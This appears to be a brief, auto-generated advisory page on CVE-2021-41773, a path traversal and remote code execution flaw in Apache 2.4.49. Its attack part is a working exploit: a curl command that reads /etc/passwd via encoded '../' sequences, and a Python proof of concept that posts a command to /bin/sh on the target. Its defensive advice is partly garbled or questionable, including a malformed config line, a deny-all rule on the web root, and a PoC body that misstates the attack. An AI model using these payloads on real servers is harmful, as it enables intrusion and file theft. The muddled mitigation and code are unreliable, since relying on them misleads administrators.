Apache HTTP Server, Path Traversal & Remote Code Execution, CVE-2021-41773 (Critical)

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How the CVE Works:

CVE-2021-41773 is a critical vulnerability in Apache HTTP Server 2.4.49, caused by improper path normalization. Attackers exploit a flaw in the `ap_normalize_path()` function, allowing traversal outside restricted directories using crafted URLs containing `../` sequences. If `mod_cgi` is enabled, this can lead to remote code execution (RCE) by executing malicious scripts. The vulnerability arises due to insufficient validation of URI-encoded characters, permitting attackers to bypass security checks and access sensitive files or execute arbitrary commands on the server.

DailyCVE Form:

Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal → RCE
Severity: Critical
Date: 2021-10-05

What Undercode Say:

Analytics:

  • Affects default configurations of Apache 2.4.49.
  • Exploitable via simple HTTP requests.
  • Mitigation requires patching or configuration changes.

Exploit Command:

curl -v "http://target/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"

Protection Commands:

1. Update Apache:

sudo apt update && sudo apt upgrade apache2

2. Disable `mod_cgi` if unused:

LoadModule cgi_module modules/mod_cgi.so Comment this line

3. Restrict directory access:

<Directory "/var/www/html">
Require all denied
</Directory>

Proof-of-Concept (PoC) Code:

import requests
url = "http://target/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh"
data = {"cmd": "id"}
requests.post(url, data=data)

Mitigation Steps:

  • Apply Apache patch 2.4.50+.
  • Use WAF rules to block `/%2e%2e/` patterns.
  • Audit logs for suspicious `../` or encoded sequences.

Log Analysis Command:

grep -r "\%2e\%2e" /var/log/apache2/

Impact:

  • Unauthorized file disclosure.
  • Remote shell access.
  • Server compromise.

References:

  • Apache Security Advisory
  • NVD CVE-2021-41773
  • MITRE ATT&CK T1190

Sources:

Reported By: www.cve.org
Extra Source Hub:
Undercode

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